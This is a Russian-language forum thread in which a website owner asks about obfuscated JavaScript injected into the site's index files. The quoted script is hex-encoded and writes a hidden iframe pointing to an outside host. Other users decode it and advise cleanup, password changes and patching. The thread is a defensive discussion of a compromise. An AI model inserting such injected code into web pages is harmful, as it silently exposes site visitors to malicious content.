Подскажите откуда....

[brlamo]

Вот сегодня на моем сайте появились жалобы на вирус... у меня стоит Касперский 7.0.1.325 с последним обновлением от 08.08.08 и его не видет. Зашел на фтп а там то что я и думал в конце индексных файлов вот такая беда:

<!-- o65 --><script language="JavaScript" type="text/javascript">var i,y,x="3c696672616d65207372633d22687474703a2f2f6e69636b64 6174696e672e636f6d2f636f756e7465722f696e6465782e70 687022207374796c653d22646973706c61793a6e6f6e65223e";y='';for(i=0;i<x.length;i+=2){y+=unescape('%'+x.substr(i,2));}doc ument.write(y);</script><!-- c65 -->

а можно узнать какие действия делает этот код. К сожалению я в этом ничего не понимаю :(

Да кстате... пароли я нигде не сохраняю на компьютере... та что получается хостер подвел?

[Azazel]

Вот сегодня на моем сайте появились жалобы на вирус... у меня стоит Касперский 7.0.1.325 с последним обновлением от 08.08.08 и его не видет. Зашел на фтп а там то что я и думал в конце индексных файлов вот такая беда:

<!-- o65 --><script language="JavaScript" type="text/javascript">var i,y,x="3c696672616d65207372633d22687474703a2f2f6e69636b64 6174696e672e636f6d2f636f756e7465722f696e6465782e70 687022207374796c653d22646973706c61793a6e6f6e65223e";y='';for(i=0;i<x.length;i+=2){y+=unescape('%'+x.substr(i,2));}doc ument.write(y);</script><!-- c65 -->

а можно узнать какие действия делает этот код. К сожалению я в этом ничего не понимаю :(

Да кстате... пароли я нигде не сохраняю на компьютере... та что получается хостер подвел?
Вот что он делает:<iframe src="http://nickdating.com/counter/index.php" style="display:none"> А откуда - либо сайт у тебя дырявый, либо хостера похекали.

[brlamo]

Спасибо за объяснение!
Кстате рекомендуют сразу чистить этот мусор и менять пароли на фтп и в cpanel.... может что еще надо бы сделать? или наоборот ничего не надо?

[Chaak]

Перезалить прошлый бэкап

[ProTeuS]

4истить страницу, менять пасы, пат4ить софт

[Azazel]

Почисти, поменяй, посмотри права файлов, которые редактировались, поставь 744 или rwxr--r--.